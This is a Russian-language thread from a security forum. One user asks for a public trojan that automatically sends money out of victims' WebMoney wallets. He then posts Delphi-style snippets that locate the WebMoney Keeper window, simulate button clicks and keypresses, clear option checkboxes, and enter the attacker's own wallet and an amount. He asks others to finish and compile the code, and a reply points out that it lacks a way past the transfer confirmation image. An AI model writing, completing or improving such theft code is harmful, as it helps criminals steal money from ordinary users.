ANTICHAT — форум по информационной безопасности, OSINT и технологиям

патцы ну че никто что ли не знает где wm трояна то взять ????? мне тока паблик желательно!!

я,ру никогда не использовал?

__________________
Фреймворк для спамера :(
Услуги программирования

Green_Bear просто киньте линки если не в лом плии3333 очень надо

satana8920, а вот такая штука может подойдёт: http://forum.antichat.ru/thread31753-%F2%F0%EE%E9.html
На этом форуме вообще, очень много чего есть - Search и всё.

нет это не то там просто трой(хотя это трудно троем назвать) меняет номер кошелька а мне нужен что б сам бабло отправлял !

вот что то на подобий

if FindWindow(nil, 'WebMoney Keeper')><0 then
begin
KeeperWnd := FindWindow(0,'WebMoney Keeper');
ButtonWnd[1]:=GetWindow(KeeperWnd, gw_Child);
for i:=2 to 6 do ButtonWnd[i]:= GetWindow(ButtonWnd[i-1],gw_HWNDNext);
SetLength(ButText,20);
while Copy(ButText,1,3)><' On' do Online
begin
SendMessage(ButtonWnd[6],WM_GETTEXT,20,Longint(@ButText[1]));
end;
end;
а потом вот как то так что ли

sendmessage(ButtonWnd[5], WM_LBUTTONDOWN, MK_LBUTTON, 0);
sendmessage(ButtonWnd[5], WM_LBUTTONUP, 0, 0);
sleep(5);
GetWindowRect(ButtonWnd[5],korbut);
point.x :=korbut.TopLeft.X+5;
point.y :=korbut.TopLeft.Y-40;
MenWnd:=WindowFromPoint(point);
PostMessage (MenWnd, WM_KEYDOWN, VK_UP, 0);
PostMessage (hControl, WM_KEYDOWN, VK_RETURN, 0);
__________________так так так вот может так еще

OptionWnd := FindWindow(nil, 'Параметры проги');
CheckBox[1]:=GetWindow(OptionWnd, gw_Child);
for i:=2 to 40 do CheckBox[i]:=GetWindow(CheckBox[i-1], gw_HWNDNext);
temp:=SendMessage(CheckBox[6], bm_GetCheck, 0, 0);
if temp >< 0 then SendMessage(CheckBox[6], bm_SetCheck, 0, 0);
temp:=SendMessage(CheckBox[7], bm_GetCheck, 0, 0);
if temp >< 0 then SendMessage(CheckBox[7], bm_SetCheck, 0, 0);
sendmessage(handle, wm_lbuttondown, mk_lbutton, 0);
sendmessage(handle, wm_lbuttonup, mk_lbutton, 0);

и вот так вот

SendMessage(kosh_handle,WM_SETTEXT,0, LParam(PCHAR('Zнаш родиминький кошелечек')));
SendMessage(Money, wm_Char,WParam(PCHAR('5')),0);
SendMessage(Money, wm_Char,WParam(PCHAR('0')),0);

можт так?

эй народ взгляните плизз и зацените плиз =)

а теперь кто этого монстра откомпилит????? =))
получит милион долларов =))))

вот тока описать переменные забыл может кто нить дописать и откомпилить
пли3333333

Итак, код интересен, но я вот никак не найду в нём штуки для распознавания такой вот картинки-подтверждения: http://cb10.nm.ru/zapros_peredachi_WM.gif

не найдешь - потому что ее там просто нет.
Этот трой НЕ ОТПРАВЛЯЕТ бабло, апросто меняет пункт назначения, чего, чаще всего, предостаточно.